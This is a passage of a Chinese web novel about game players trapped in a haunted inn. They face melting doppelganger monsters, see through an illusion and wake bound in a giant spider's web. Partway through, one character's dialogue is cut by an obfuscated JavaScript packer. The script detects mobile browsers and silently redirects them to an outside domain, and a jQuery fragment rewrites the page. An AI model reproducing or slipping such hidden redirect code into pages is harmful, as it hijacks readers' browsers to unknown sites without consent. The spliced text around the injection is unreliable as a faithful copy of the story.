雕兄却一声不吭,只是拿翅膀急急地扇他,两只钩爪在地板上来回快速摩擦。方叱羽一愣,终于察觉到不对。他端起灯,赫然发现,海雕明亮的橙瞳里竟然充满了焦急和惊恐。 “怎么了?” 方叱羽按住海雕,一手端着灯,一手扒拉着它的羽毛,仔仔细细从头到脚地检查了一遍,也没看到有什么外伤。 不知道是巧合还是游戏有意为之,他这只海雕,与他在游戏中的雕兄“疾夜”一模一样,黑羽金爪,平时方叱羽坐着的时候,它就喜欢把脑袋倚在他肩上。进入浪客行之后,方叱羽一直便将它当做自己的疾夜,现在看到它变成这样,也是心急如焚,偏偏又不知道它到底怎么了。 疾夜整只雕焦躁不安,一会儿拿头撞他,一会儿用锋利的脚爪在地板上刨来刨去,喉咙里发出细小的咕咕声,不知道究竟想表达什么。方叱羽没办法,只能放下灯台,单膝跪在地上,双手抱住疾夜的脖颈,顺着羽毛慢慢抚摸,试图安抚它的情绪。 “没事,没事,我在这儿呢。”他温声对疾夜说,疾夜却猝不及防一个发力,脑袋直直地撞上了他的肩膀。 那可是翼展超过两米的成年海雕,方叱羽没有准备,被它撞得身形一歪坐在了地上。 但正是这一倒,让他无意中透过半掩的房门看到了外面的走廊。 不知何时,走廊上的灯笼竟然全数熄灭了,外面陷入了伸手不见五指的漆黑。黑洞洞的房门犹如一张巨口,看起来幽深可怖,不像通往走廊,倒向通往另一个世界。 那深不见底的黑暗看得方叱羽心里有点发毛,他想过去将门关上,刚站起来,却意识到了另外一个问题。 疾夜的爪钩锐利无比,刨地板时发出的动静也算是很大了。亓秀秀住里屋听不到也就算了,另外三个人未免也睡得太死了吧? “裴洛川?” 他压低声音叫道,但屏风后面什么动静也没有。 ——准确地说,是整个房间都太静了,除去疾夜制造出来的动静,竟然完全没有任何声音,没有队友们的翻身声和梦呓声,甚至连呼吸的声音都听不到。 这样的情况已经不能用安静来形容了,更像是一片死寂。 几盏雕花小灯里的烛火幽幽地跳动着,那光透过屏风映过来,竟然显得有些发红。疾夜不知道什么时候也渐渐地平静下来了,紧紧地挨在他的腿边。 方叱羽心里直犯嘀咕。蒋玉凤这种关键规则NPC应该不至于骗玩家,她说客栈安全,那应该就是安全的,但现在这情况也太诡异了。 “李千驰?叶九溪?” 方叱羽慢慢地向离自己最近的李千驰那边靠过去。微微发红的烛火在屏风上投下了罗汉床上的倒影,被褥高高隆起,很像是睡着一个人的样子,但那个轮廓竟然没有丝毫起伏,就好像里面睡着的人完全不用呼吸一般。 他绕过屏风看去,感觉心跳停了一拍,但又有种果然如此的感觉。 罗汉床上只有堆积的被子,李千驰已经不见了。 方叱羽伸手一摸床铺,入手温度冰凉,这说明李千驰早就已经不在这里了。他又绕到其他几个屏风后面一看,果然,叶九溪和裴洛川都不在,床上只有堆起来的被褥。 这些人是什么时候不见的?为什么我完全没有察觉到?他们是自己起床出去的,还是…… 方叱羽背后寒意直冒,他也顾不上许多了,就去敲亓秀秀住的里间的房门。 “秀秀!”他贴着门板低声叫道,“秀秀,醒醒!出事了!” 门内没有回应。方叱羽深吸了一口气,将耳朵贴在门板上。 还是一片死寂。 他心乱如麻,不知道到底是怎么回事;就在这时,忽然有一只冰凉的手搭在了他的肩膀上! 方叱羽一直神经紧绷,那只手搭上来的瞬间,他头皮一炸,条件反射般身形一动,整个人如同浪波缥缈,已经翻身到来人背后,出掌就是一招溟海御波! 只是那用尽全力的一掌快要打上时,方叱羽瞳孔骤缩,堪堪收住了手。掌风将来人的额发向后吹去,那人赫然是亓秀秀。 “干什么啊。”亓秀秀看着他,不满道,“是我!” 李千驰等人也从她身后的黑暗里跳出来:“哈哈!吓到了吗!” 方叱羽的手还没放下,整个人都愣住了。 这四个倒霉玩意站在他面前,每个人都一脸笑嘻嘻的模样:“是不是被我们吓了一跳呀!” “你们真是神经病啊!”方叱羽捂着狂跳的心脏怒骂道。他平时算是个很随和的人了,这次也真动了气,这帮子队友怎么能不靠谱到这种程度! “别生气,就开个玩笑嘛……” 李千驰说,他还在笑着。不光他在笑,其他人都在笑,他们似乎完全无视了方叱羽的火冒三丈。 “你们把我的雕兄都吓坏了……”方叱羽还沉浸在愤怒中,他正准备挨个将他们痛骂一顿,无意间一瞥,突然一怔,目光慢慢移到李千驰身后的屏风上。 烛火幽幽地跳动着,但上面没有映出李千驰的影子! 不光是他,其他人也没有影子,那扇绮罗人物四牒屏上只有方叱羽和疾夜的投影。 方叱羽突然如坠寒窟。他面前,亓秀秀还在紧紧地盯着他,嘴角的笑容怎么看怎么诡异。 她慢慢地说:“你怎么不笑?不好笑吗?” “不好笑吗?”其他人也重复道。 “你在看什么?”李千驰紧跟着追问。红色的烛火自下而上打在他们的脸上,显得那笑容格外僵硬,而且越来越相似,似乎都是一个模子里刻出来的。 “没……没什么。”方叱羽慢慢向门口的方向后退,感觉冷汗已经打湿了后背, “那你退什么?”李千驰挪动脚步,缓慢地朝他靠近,他一动,身后的亓秀秀、叶九溪和裴洛川也跟着靠了过来,脸上依然是那种诡异的僵硬的笑容,死气沉沉,毫无生机。 “我送雕兄回羽房。”方叱羽边后退和他们拉开距离,边飞快地回答。他感觉自己的心跳越来越剧烈,只能尽量缓慢地深呼吸,不让面前这几个鬼东西发觉异常,“太晚了,你们快睡吧。” 李千驰充耳不闻,笑容慢慢地淡下来,但眼睛还是死死地看着他:“你要去哪里?” 这特么是什么啊!方叱羽简直要骂人了,这玩意绝对不是李千驰,但是真正的李千驰他们究竟到哪里去了?还安全么? 疾夜脖颈上的一圈羽毛忽然炸开了,它扇动双翼,做出威胁的动作,急促地叫了一声。方叱羽急急地看了它一眼,当他再次挪回视线时,就明白了疾夜炸毛的原因。 在他面前,恐怖的一幕发生了。李千驰的脸像是蜡烛融化那样垮了下来,皮肤,血肉,混在一起,完全化成了黏腻的一滩液体,连两只眼珠也慢慢地从眼眶中滑落下来,挂在应该是下巴的那个位置,瞳仁还在紧紧地跟着他的方向转动。 “方叱羽,你要去哪里?” 其他人也是一样,四个面目模糊的怪物连舌头都融化成粘稠的血水、拖在脖颈边上,还能发出清晰的声音,那声音和他的队友们完全没有区别;他们慢慢地向方叱羽靠了过来,作势要将他围在中间。 紧张和恐惧到了极点,人反而会失去感觉。方叱羽二话不说,一把扛起还在炸毛的疾夜,飞起一脚将屏风踹倒在他和四个怪物中间,冲出了房间。 客栈一楼。 李千驰单手撑住楼梯的栏杆,飞身从二楼跃下,就势一翻消去冲击,爬起来继续飞奔。 为什么这个见鬼的客栈用不了任驰骋! 脖子上的几道伤口还是火辣辣的痛,李千驰没来得及看伤口有多深,但一定是见血了,迎着跑动时带起来的风,能感到一片冰凉。 太离谱了,他们明明已经养精蓄锐完毕,打算在金大厨那吃个午饭就找蒋玉凤进入第二天,但不知怎么的,几个队友突然一反常态,对他嘘寒问暖。方叱羽给他端来各种餐点,亓秀秀在身后给他捏肩膀,叶九溪往他碗里放亲手剥好的鸡蛋,裴洛川则在一旁进行诗朗诵:伟大的马王天策。 李千驰当即就觉得不对劲了,科幻片都不敢这么拍! 他刚要起身,谁知道身后的亓秀秀忽然用力掐住他的脖颈,尖利的指甲深深地陷进了皮肉中。李千驰忍痛打开她的手强行挣脱,回头一看,哪还有什么亓秀秀,分明是一头流着涎水、腐烂了半边面孔的尸人! 虽然不知道为什么绝对安全的客栈里会出现尸人,李千驰还是没有犹豫,迅速从背后拔出长枪,将面前的尸人用枪杆撞开,冲上二楼,直奔他们的房间寻找队友,但房间里空空荡荡,仍是他们走时的样子。 一不做二不休,他干脆把旁边几间房的门一起撞开了,可是里面也没有人。孟秋和金大厨他们也不见了,整个客栈就像只剩下他自己一样。 那些尸人已经追上了二楼,李千驰便直接越过楼梯的木栏杆跳了下去。他一边跑一边想任驰骋,但怎么吹口哨也不见浪客行给他发的那匹劲足小绿冲来,于是脚下一转,朝马厩跑去。 他的小绿一进入有间客栈这个地图,就变得不能收进坐骑列表了。那样一匹可怜的柔弱小马,手无缚鸡之力,根本没法自保,被尸人咬了可怎么办啊! 然而,等李千驰跑到马厩,里面竟然一匹马都没有。所有的栓马绳都是松开的,食槽里空空荡荡,连根草叶子都不见,像根本没有过马一样。 要不是脖子上的伤还在持续地疼着,他都会以为自己这是在做梦。 马厩半边连着客栈后门,半边棚子在客栈之外。那几只尸人还没追过来,李千驰单手提枪,走进了马棚之中。 客栈外面是白天,那些灰雾已经退去,高高地盘桓在头顶,但不知为何,远处的景象依然是一片模糊,就像游戏地图还没有加载出来那样。他推开马棚另一边的小木门,走出客栈,发现外面也是空无一人,一派死寂,连一丝风都没有,只有黄叶簌簌地落下。 如果换其他人来,可能已经会开始害怕了,但李千驰不。浪客行给他的天赋是骁勇,恰好他李千驰就不知道怕这个字怎么写。面对这样一种诡异的安静环境,正常人应该都会小心翼翼,让自己和环境保持一致,不发出太大的声音,但李千驰仗着尸人还没从客栈里跑出来,放开嗓子就喊: “秀秀!九溪!你们在哪!” 那些奇怪灰雾仿佛有阻隔声音的作用,他的吼声几乎没怎么传开,李千驰气沉丹田,用更大的音量喊:“裴洛川——方叱羽!你们人呢!” 他这样边喊边走,竟然真的远远地在那茶馆招牌下看到一个人影。那人背对着他,似乎没听到他的喊声,李千驰快步跑过去,在快要接近的时候又放慢了脚步。 看背影,这竟然是他前不久还见过的那个凌雪阁。 不对啊,他不是和他的队友们进入第二天了吗?怎么会出现在这里? 似乎是听到了李千驰的脚步声,那凌雪阁慢慢地转过头来。他的眉眼很冷,黑发散落在额前,长围巾被拉高了,遮住了下半边脸。 “嗨,兄弟。”李千驰和他打招呼,暗中握紧了长枪,“你看见我队友了吗?” 凌雪似乎并没有和他打招呼的意思。他静静地看着李千驰,忽然手腕一抖,链刃已经滑落到手里,紧接着他便扬起链刃,劈头向李千驰抽来! “靠!”李千驰脱口而出,在竞技场打久了,他当然认得出来,那正是凌雪链人的起手招式血覆黄泉,这要是被链到了,肯定得结结实实吃一套伤害。 幸好他早有防备,一直紧盯着这凌雪的动向,险险地躲开了这一招。 一击不中,凌雪半句废话也没有,甚至连表情都没有变,再次抬起手,轻轻抖了抖那锋利的链刃。 这到底是哪根筋搭错了? 队友下落不明,这个凌雪阁又浑身透露着古怪,李千驰不想和他交手浪费时间,想起客栈里玩家不能相互攻击,他灵机一动,掉头向客栈内冲去。 凌雪提着链刃紧跟着他进了客栈,正巧那几只尸人此刻也追到了大堂,李千驰飞快地翻过几张桌子,将尸人引到他和凌雪阁中间。 “想打架就拿这些玩意练练手!”他冷笑道,却在下一秒瞪大了眼睛。 那几只尸人竟然无视了凌雪,动作缓慢地转过身,目标很明确,还是他。 “卧槽!”李千驰对凌雪大骂道,“你竟然投敌了!” 凌雪对他的话没有任何反应,链刃凌厉挥出,李千驰矮身一闪,面前的桌子就已经被抽得粉碎。崩碎的木屑在他脸上划出些细小的伤口,他也是有点火大,长枪一横,便将身侧一张长凳挑飞砸了过去:“要打架是吧?” 长凳在半空就被链刃卷住碾碎,凌雪冷冷地看着他,慢慢地歪了歪头,活动了一下肩颈。 叶九溪赶到现场时,客栈大堂几乎已经没法看了。 满地都是翻倒的桌椅,大多数已经缺胳膊少腿,或者变成了碎裂的木块儿,茶具也碎了一地,好像有一个团的藏剑刚刚在这里风来吴山过。 他的第一个反应是:完了,这得赔多少钱啊! 大堂那堆废墟的中间,就站着他的队友,李千驰。叶九溪好不容易见到了熟人,刚准备跑过去,没想到李千驰忽然侧头看了他一眼,那眼神冰凉中带着警惕,好像在看一个陌生人。 “站在那里别动。”他说,声音很冷硬,“你是谁?” “什么我是谁?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691156|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶九溪莫名其妙,“你傻了?” 李千驰微微侧身,让出了一个身位的距离,露出身后的人。 叶九溪看了一眼,整个人完全愣住了。 站在李千驰身后的不是别人,正是他自己,甚至此刻那个“他”脸上露出的愕然表情都一模一样,让他有了一种自己在照镜子的恍惚感。 “你是谁?”那个叶九溪问,手已经放在了腰间的剑柄上。这个小动作又让叶九溪心里一紧,他低头看着自己的手,此时也正准备握向剑柄。 这分明就是他的习惯。 “发生什么了?”他深呼吸,让自己保持冷静,看向李千驰,“我一直在找你和其他人,听到这边有动静就过来了,在此之前……” 说到这里,叶九溪却说不下去了。他愕然发现,自己竟然想不起来之前究竟发生了什么,脑子里似乎隐隐约约有团迷雾,怎么也看不清楚。 他唯一能记得的,就是他们好像马上要进入第二天,大家都有些紧张,在试图通过说笑缓解情绪……再然后呢?再然后的事情,他竟然一点都没有印象了,连自己是怎么和队友们分开的都不记得,只记得隐约听到客栈大堂传来巨响,他就朝这个方向过来了。 再看对面那个叶九溪,同样也是面露茫然,似乎和他一样,陷入了回忆之中。 看着自己的脸,他有一种毛骨悚然的感觉。 “我刚刚和一个凌雪打了一架。”李千驰和他们俩都拉开距离,长枪往地上一立,“就是我们之前看到的那个。” 他说话的时候,特地观察着两个人脸上的表情,然而他们都露出疑惑的神情,几乎是异口同声道:“他不是已经去第二天了么?” 语毕,他们对视一眼,又紧接着跟上一句:“客栈里面,玩家是不能相互攻击的!” 虽然很不合时宜,但是李千驰竟然想到了小时候看《西游记》里面真假美猴王的那一集…… “凌雪人呢?”“凌雪去哪里了?”两个叶九溪先后问道。 “就很奇怪……”李千驰在两个人之间来回打量,“他化了。” 左右两个叶九溪异口同声:“化了是什么意思?说清楚点!” “就是字面意思,化了,融化了。”李千驰道。 因为不确定这两个人到底哪一个是他的队友、或者两个都不是,还有些细节李千驰并没有说出来。他和那凌雪阁过招的时候还惦记着客栈里玩家不能相互攻击的规则,以格挡为主,几乎没有进攻过,但对面凌雪的出招却很怪异。 这种怪异是只有李千驰这种几乎住在竞技场里的PVP玩家才能察觉出来的;他的招式太套路化了。 游戏里的招数,放到现实中,没有了监控buff和头顶气劲,想要分清凌雪出的是什么招式,李千驰几乎只能通过他的动作来判断。但是他发现,自己竟然应付得很轻松,甚至还有空闲顺手料理一下那几个游走的尸人,因为凌雪下一招要出什么,他竟然全都知道。 为什么?因为这就是竞技场里PVP凌雪最常用的那个套路,打习惯了就知道了,尤其李千驰还是个天策,平时也没少挨凌雪的毒打。 游戏和现实毕竟不一样,游戏里选中目标再放技能基本上会中,但现实受玩家出招的精准度和身体素质影响,再加上目标玩家想怎么躲就怎么躲,也没有公CD,反而会导致技能没有那么高的命中度,而这凌雪似乎只会放技能,呆了吧唧的,五招里有三招根本碰不到李千驰。 越打,他就觉得越不对劲——这凌雪怎么好像有全技能啊? 这样看来,他几乎不像一个玩家,这种表现,这种表现简直就是…… 一个词突兀地出现在李千驰的脑海里。 NPC。 也就是在产生这个想法的同时,他突然感觉脑袋猛地一痛,产生了一阵莫名的心悸和窒息感。但这种疼痛和感觉只持续了不到几秒钟就烟消云散,同时烟消云散的,还有那个凌雪——他当着李千驰的面,连带着衣服和武器一起,整个人化成了一滩水,慢慢地蒸发了。 李千驰目瞪口呆。 剩下的事就很简单了,在大堂被毁得差不多之后,叶九溪姗姗来迟。看到兄弟,李千驰很是惊喜,但他刚要冲过去时却又听见身后有动静,一转头,便又看到一个叶九溪。 “这也太像了吧……” 无论从哪个角度看,这两个人都完全一模一样,神态、微表情,包括不经意间的小动作,完全就是叶九溪会有的样子。 李千驰看了半天,还是分不出来,干脆嘿嘿一笑,挥舞起他从马厩顺来的栓马绳。 都绑了算了! 很遗憾的是,他的队友不会站着让他绑。千叶长生剑芒一闪,两把轻剑直直地指向地面,李千驰扔了麻绳,退后两步,举起双手。 ……好,又是一个细节,李千驰确实有点焦头烂额了。第一天的时候他就发现,叶九溪的性格其实很谨慎,即使没有友伤设定,剑刃也从来不会朝着队友。他本来以为能通过这个方法进行判断,没想到还是分不出来。 他突发奇想:“有没有可能你们是一个人分裂成两个了?” 两个叶九溪用看白痴的眼神看他。 李千驰抱头,在心里无声长啸——脑子到用时方恨少啊啊啊啊啊! “要不你们打一架!”他随口乱说,试图通过细小的反应来区别二人。 “客栈里不能对敌对玩家出手。”左边的叶九溪冷冷道。 右边的叶九溪甚至用怀疑的眼神看着他:“你真的是李千驰吗?” 眼看再多说就要把自己搭进去了,李千驰赶紧收声。他搜肠刮肚,努力在脑子里回忆着自己看过的各种有类似桥段的小说和电影,试图从中找出能做参考的解决方法来。怎么区分、怎么区分…… 他忽然灵光一闪。 假如面前的某一个叶九溪和那个凌雪一样,也是NPC,那么他为什么能和真正的叶九溪如此相似呢?而且这种相似,简直就是完全将他记忆中的叶九溪复刻了一个出来。 以往看过的大量小说告诉李千驰,这个NPC很可能就是根据他自己的记忆生成的,甚至可以在他提出问题时从他的记忆中直接搜索答案,所以他当然无法分辨。 他有了一个大胆的想法。 “我们来做一组快问快答!”李千驰严肃宣布,“给你们的思考时间不会超过三秒,超过三秒了我直接动手,反正真正的叶九溪一定能在三秒之内答出来,开始!” 他也不问两个人的意见,火龙沥泉的枪尖往面前一横,表示立刻动手的决心:“渊的距离最短是几尺?” 两个叶九溪满脸无语,但还是配合地答道:“六尺。” “我们的33队伍叫什么名字?” “以前叫快跑不要被奶到,后来改名成秀秀和她没用的两个男人。” “我打得最多的本是哪个?” “烛龙殿。” “穿过来见面后我说的第一句话是什么?” “……这谁记得住啊!” 李千驰几乎没有停顿,脑子里想到什么就说什么,不假思索地一口气问下去,语速越来越快,但两个叶九溪的答案也几乎没有任何差别,即使有时候会有细微的不同,也并不足以判定真假。 但是这样问下去,一定有能让那个假货露出破绽的问题出现…… 如果他的猜想是正确的,那么这场快问快答,真正考验的,其实是李千驰自己。 他问得越来越快,什么稀奇古怪的问题都问出来了,而叶九溪“们”也答得越来越快,双方都几乎没有了思考的时间。 “藏剑的倒数第二个奇穴是什么?” “探梅!” “剑锋百锻!” 话音刚落,三个人的眉头都不由自主地跳了一下。 来了!这就是他一直在等的问题! 长枪如虹,直直地刺向右边那个叶九溪。然而枪还没到他面前,那个叶九溪就突兀地化成了一滩水,连带衣服一起,迅速地消失了。 “唔!”那种感觉又来了,李千驰眼前一花,似乎看到了什么奇怪的东西,但他立刻就感到了脑袋中猛地爆开的痛感,那种疼痛令他完全无法思考,一瞬间以为自己马上就要窒息而亡。 李千驰试图大口地呼吸,但下一秒,那种感觉又像从来没来过一样,消失得无影无踪。 他看向那个真的叶九溪,发现他似乎也经历了这种疼痛,只是看起来要比自己轻不少。 “可以啊。”叶九溪缓过来了,打趣道,“我以为你会选那个说‘探梅’的。” “会主动点探梅的藏剑队友只存在于我的内心里。”李千驰幽怨道,“你爱的只有打铁,哪次不是我苦苦哀求才不情不愿地点一个探,打完立刻换回去……” 他赌对了,那个假叶九溪果然是根据他的记忆生成的。在那种他们都无暇思考、全靠本能的时候,假叶九溪只来得及读到他对藏剑倒数第二个奇穴选择的最简单、也最深刻的印象。 “所以客栈里为什么会出现这种东西啊。”他抱怨道,“蒋玉凤说的绝对安全难不成真的是在驴我们?” 叶九溪的面色却很奇怪。 他蹲下身,从地上捡起一条断裂的桌子腿,看接口处的木纹。 “客栈桌子是什么木材做的?” “不知道。”李千驰一愣,“你问这个干什么?” “我看这纹路像是梨花木……”叶九溪把那条桌子腿递给他,“你看看,梨花木的木纹是圆圈型的,这个是吗?” 李千驰接过来一看,那木头断开的地方一圈一圈的木纹,可不就是再标准不过的圆形。 他随口道:“厉害啊,你对这东西还有研究呢。” “不,我根本就不知道这是什么木头,木纹也是乱说的。”叶九溪却表情一冷,他夺过李千驰手里的桌子腿看了一眼,将它扔在地上,“我刚才看这东西的时候,花纹还是空白的,因为你根本就没注意过,也不知道它是什么木料……” “啊?”李千驰呆住,“这啥意思,我不是我?我也是假的?” “你脑子刚才不是转得挺快的吗!怎么这会又不知道用了!”叶九溪简直无语了,恨不得上手撬开他大脑看看,“我觉得这里根本就不是有间客栈!我们在以你的思维为基础构成的幻觉里!” 几乎是在这句话话音落地的同时,李千驰猛地捂住脑袋。那种炸裂般的疼痛又来了,而且这次持续的时间格外长,疼得他忍不住想要在地上打滚,冷汗瞬间就把银甲的内衬打湿了。 在疼痛和窒息的双重折磨中,他看到的却不是客栈一片狼藉的地面,而是黑黝黝的一个地方。 那是什么? 李千驰强忍疼痛睁大眼睛,试图看得清楚一点。他转过头,却被吓得一个激灵! 就在他近在咫尺的地方,叶九溪双目紧闭,站在那里,脸上呈现出因为窒息而缺氧的绀青色,似乎随时都有可能死去。 疼痛消失了,李千驰眼前的景象消失,又变成了客栈的样子。他浑身冷汗,感觉自己的脑袋里好像多了一些模糊的记忆,但刚刚看到的那一幕着实将他这个不知道害怕为何物的人也吓了一跳,一时间竟然张口结舌,说不出话。 他眼前的这个叶九溪也是脸色苍白,冷汗涔涔,但看起来要比他好一点。他看向李千驰的眼睛里,是相同的惊恐。 “那是哪里?”叶九溪咬着牙,声音微微发颤,“那是现实中的……我们?” 9. 第二天·绥梦山(九) “我觉得你看起来暂时还没有生命危险。” 裴洛川道。他慢慢地从剧烈疼痛里缓过来,把被冷汗完全浸湿的黑发撩到脑后,看向亓秀秀。 亓秀秀的脸色简直差到了极点,眼神完全没有焦距,裴洛川一看就明白了,那不是因为疼,而是因为她看到的东西很糟糕。 “你觉得我还能活多久?”他直截了当地问。 “……我不知道。”亓秀秀艰难地开口,“看起来不太好。” 那种近距离亲眼看到队友直面死亡的感觉太差了,尤其是他明明就在眼前,和你说话,但你知道真实的他却在生死边缘挣扎着。 这是一种让人根本没有办法冷静对待的反差,亓秀秀已经在努力控制自己了,但一想到她刚刚看到的裴洛川,心里就无法抑制地升起焦急与恐慌。 裴洛川轻轻叹了口气。 他看向脚下。 他们现在的位置是有间客栈的房顶。这张地图基本上可以说是完全崩溃了,放眼望去,周边的景色模糊不清,幻境已经和现实融为一体,黑漆漆的洞窟和安静的沙洲白荻交错着,有种超现实主义的魔幻感。 就在他们脚下,还有一堆怪物在发出刺耳的呜咽,试图爬上来。但它们的身躯都呈现半液化的状态,像一堆鲜血和脂肪混合在一起、融化了一半的蜡像,根本没有办法攀上对它们来说几乎是垂直的房檐。 裴洛川看着它们,神色很平静。 亓秀秀忍不住问:“你不害怕吗?” 裴洛川说:“怕有什么用。” 他没有跟亓秀秀说的是,刚刚那股疼痛袭来时,他也感觉到自己几乎已经完全没有办法呼吸了,拼命往肺里吸气才能汲取到一点点救命的氧气。如果没有猜错的话,这就是他现实里的状态,生与死仅一步之遥。 但是他怎么也想不明白,为什么他们会在有间客栈里遭遇到幻境的攻击。 在被拉入幻境之前,他们刚刚要从房间下楼。他和亓秀秀走在一起,推开门却迟迟不见后面的队友跟上来,一回头,就发现他们不知何时已经变成了那种蜡样的怪物。 那种视觉冲击太恐怖了,两个人的第一反应就是撒腿就跑,亓秀秀路上还去敲了其他小队的房门,但那些房间都没有任何回应。 他们冲到一楼,想去找蒋玉凤和赵云睿,可这两个平日里天天待在柜台的NPC也消失得无影无踪。 “方叱羽!叶九溪!李千驰!” 裴洛川喊道。 二楼传来方叱羽的声音:“我们在这!” 两个人神色一松,刚要走上楼梯,忽然察觉到不对劲。方叱羽的声音由远及近,焦急地让他们赶快上楼,但他们却没有听见任何脚步声。 裴洛川从小队背包里取出他的铜镜,伸到走廊外一看,哪有什么方叱羽,分明是一堆怪物挤挤挨挨地向他们这里蠕动着,融化得只剩下黑洞的嘴里还在不停地发出他们熟悉的声音。 好在这种怪物虽然可怖,但也不是不能与之一战,亓秀秀抬手就帝骖了一片。她正想说还好不是很多,却突然看见,那些敲门没有回应的房间门缝下也渗出了和那些怪物相同的液体,它们缓慢地流到走廊上来,随后重组成人的轮廓。 那些液体里不乏还没融化干净的人体组织和器官,它们堆满了走廊,简直形成了一副人间炼狱一样的图像,亓秀秀差点没吐出来。 怪物的数量越来越多,被它们碰到衣服就会融化,还好亓秀秀和裴洛川都是远程,两个人边战边退,最后灵机一动,干脆爬上了客栈房顶。 队友没了,自己还被被怪物围困。二人百思不得其解,不明白为什么会在客栈里受到攻击,讨论了半天也没得出结论来,最后两人不约而同,想到了幻觉。 也就是在产生这个想法的同时,他们头痛欲裂,一瞬间透过幻象,看到了真实的景色。 真实远比幻觉更恐怖。 现实中的他们竟然在一个黑幽幽的洞窟里,周围还站满了人。 仔细一看就能发现,那些人,也是和他们一样的、其他门派的玩家。大家都一样,紧闭着眼睛,面色痛苦,似乎在昏睡之中,但还诡异地维持着站姿,似乎是被什么看不见的东西缠绕着。 但很快,他们再次回到了幻境之中。 两个人多次尝试后发现,每次当他们清晰地认知到自己所处的世界是“幻境”时,就能透过幻象看到真实的世界,但这样的认知不过持续几秒,很快又会再次被拉回来。 如是三番之后,两个人的心里都很确定这里就是幻境了,于是,有间客栈的地图也跟着他们的认识崩溃了,就有了现在眼前这副模样。但同样的,随着认知的笃定,他们也无法再通过这种办法看到现实,而只能像这样看到现实和幻境交织的边缘,似乎有两股力量正在博弈。 亓秀秀已经完全不关心为什么客栈里会出现幻境、那洞穴又是什么地方了,没有时间了,裴洛川看上去马上就要死了。 她心急如焚,不知道该怎么脱离幻境。看穿了,想通了,然后呢? 还有不知道在哪里的另外三个人,他们又怎么样了? 他们无言地各自思考着,裴洛川一低头,发现混乱中那面铜镜还一直被他拿在手里。 他正要将镜子放入小队背包中,忽然愣住了。 亓秀秀一直关注着他,立刻转过头:“怎么了?” 裴洛川难掩震惊的神情,从包里把他的那只大号香篆钟取出来,打开防风盖。 这只钟内,那卷能燃烧二十小时的木盘香已经变成了一堆灰烬。 两个人对视一眼,裴洛川拿着防风盖的手在微微颤抖。 他点燃这盘香是凌晨三点多,而他们应该进入第二天的时间是当天下午四点。 他们不过是睡醒了收拾好刚出房门,为什么这盘香却已经燃尽了? 再不可思议,也只有一个解释了。 ——他们已经进入了第二天,只是这个过程,不知为何,被他们自己遗忘了! 就在得出这个结论的瞬间,裴洛川忽然痛呼出声。比以往每一次都要强烈的疼痛席卷而来,在极致的疼痛中,他痛得蜷起身子,却隐约发现脑海里多了一些断断续续的画面。 “兄弟们,走了!”他听到李千驰说。 他们站在蒋玉凤的面前,那个NPC微笑着对他们说:“休息好了吗?那我来为你们开启下一段旅程……” 和裴洛川一样,同样得出了相同结论的亓秀秀也痛得满脸是汗。在这漫长的煎熬中,她却清晰地听见了蒋玉凤的声音。 “这是你们的第二天……” “草木葳蕤,绥绥茂茂。千里独行,天涯入梦。欢迎来到……” 欢迎来到…… “绥梦山。” 绥梦山。 亓秀秀的思绪和蒋玉凤在她回忆中的声音重合的一刹那,眼前的景象分崩离析,被迅速剥离。有间客栈不复存在,视野瞬间暗下来,她回到了现实,那个幽深的山洞。 她低下头,发现自己被看不见的蛛丝紧紧地缠绕固定住,完全无法动弹半分。同时,她也彻底地想起了之前发生的事。 他们离开有间客栈、进入了绥梦山,同样进入这张图的还有其他队伍,大家互相不知底细,谨慎地选择了保持距离。就在前行的路上,忽然冒出很多巨大的蜘蛛攻击他们,几支小队在反抗蜘蛛的时候放群攻产生了误伤,打了起来。 场面一片混乱,蜘蛛反而被忽视了;直到有人受伤倒地,他们才发现,这些蜘蛛的螯肢和毒牙里竟然都带着能麻痹神经、使人慢慢窒息的剧毒,只是碰到,动作就会变得迟钝。 慌乱中,他们的队伍被冲散了,她和裴洛川跑在一起。山坡上草木茂密,巨大蜘蛛的数量又太多,他们准备往河谷里撤,但没想到却直直地撞进了蜘蛛们布下的陷阱。 那是拦在河谷之间的、透明的巨大蛛网,肉眼几乎看不见,何况他们正处在躲避蜘蛛追击的混乱情况下,更是无法察觉。 撞上那张蛛网的一瞬间,两个人就失去了意识,随后被拉入了幻觉里。 现在看来,他们应该是被蜘蛛拖回了巢穴。 从蒋玉凤说的那句“千里独行,天涯入梦”上来看,幻觉应该是绥梦山这张地图制造出来的,但真正的危险,其实是这些蜘蛛。如果他们没能看穿幻觉,就会在无知无觉间被蛛毒彻底吞噬,在现实中死亡。 裴洛川应该也醒了吧? 亓秀秀试图转头,但却发现自己的动作变得无比迟缓,几乎没法控制。她垂下眼睛看着自己被透明蛛丝缚住的手,和蛛丝接触的地方出现了道道青紫,在白皙的皮肤上显得格外刺眼,而且那青紫似乎还在不断往周围渗透着。 这蛛丝也有毒! 亓秀秀的眼前忽然一阵恍惚,隐约又看到了有间客栈的房顶,头也开始隐隐作痛,似乎要被幻境再次拉回去。 她咬住舌尖抵抗那种半梦半醒的感觉,余光却突然发现,漆黑的洞穴深处出现了几对幽幽的红光,有很多东西在地上啪嗒啪嗒地摩擦着,迅速地靠过来了。 看看身上的蛛丝,过来的是什么玩意,根本连猜都不用猜。 果然,片刻后,一对巨大的螯肢从黑暗中探出,那螯肢比成年人的大腿还要粗一圈,末端尖利如针,上面长满了细密的刚毛,深深地刺进泥土之中,每次移动都在地上划出深深的沟壑。 一只比她此前见过的所有蜘蛛都要庞大的巨型蜘蛛从洞穴的深处缓缓出现,它通体漆黑,眼睛却是红色的,身上长满了看起来就坚硬无比的粗绒。 接下来的一幕让她目眦欲裂。那巨大蜘蛛在洞穴里转了两圈,似是选中了角落里的一个人,在他面前停了下来。 它后仰身体,张开口器,露出一对吸管一样的螯牙。 看到那对螯牙,亓秀秀浑身僵硬。 她突然就想起来了,自己以前曾经在百科全书上看到过蜘蛛进食的方式。 